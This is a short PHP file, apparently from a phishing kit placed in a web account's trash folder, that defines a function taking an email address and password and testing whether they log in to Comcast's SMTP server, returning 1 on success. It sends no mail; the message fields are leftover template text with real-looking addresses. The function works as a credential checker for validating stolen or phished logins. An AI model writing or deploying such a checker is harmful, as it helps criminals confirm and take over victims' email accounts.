File: /home/thehunarfound/.trash/reeerrererre/PHPMailer/smtp.php
<?php
require 'PHPMailerAutoload.php';
function check($email,$password){
$mail = new PHPMailer;
$mail->isSMTP(); // Set mailer to use SMTP
$mail->Host = 'smtp.comcast.net'; // Specify main and backup SMTP servers
$mail->SMTPAuth = true; // Enable SMTP authentication
$mail->Username = $email; // SMTP username
$mail->Password = $password; // SMTP password
$mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted
$mail->Port = 465; // TCP port to connect to
$mail->setFrom('hbergamini@truehomesusa.com', 'Mailer');
$mail->addAddress('samer@comcast.com'); // Name is optional
//$mail->addReplyTo('info@example.com', 'Information');
$mail->isHTML(true); // Set email format to HTML
$mail->Subject = 'Here is the subject';
$mail->Body = 'This is the HTML message body <b>in bold!</b>';
$mail->AltBody = 'This is the body in plain text for non-HTML mail clients';
if($mail->smtpConnect()){
$mail->smtpClose();
return 1;
}else{
return 0;
}
}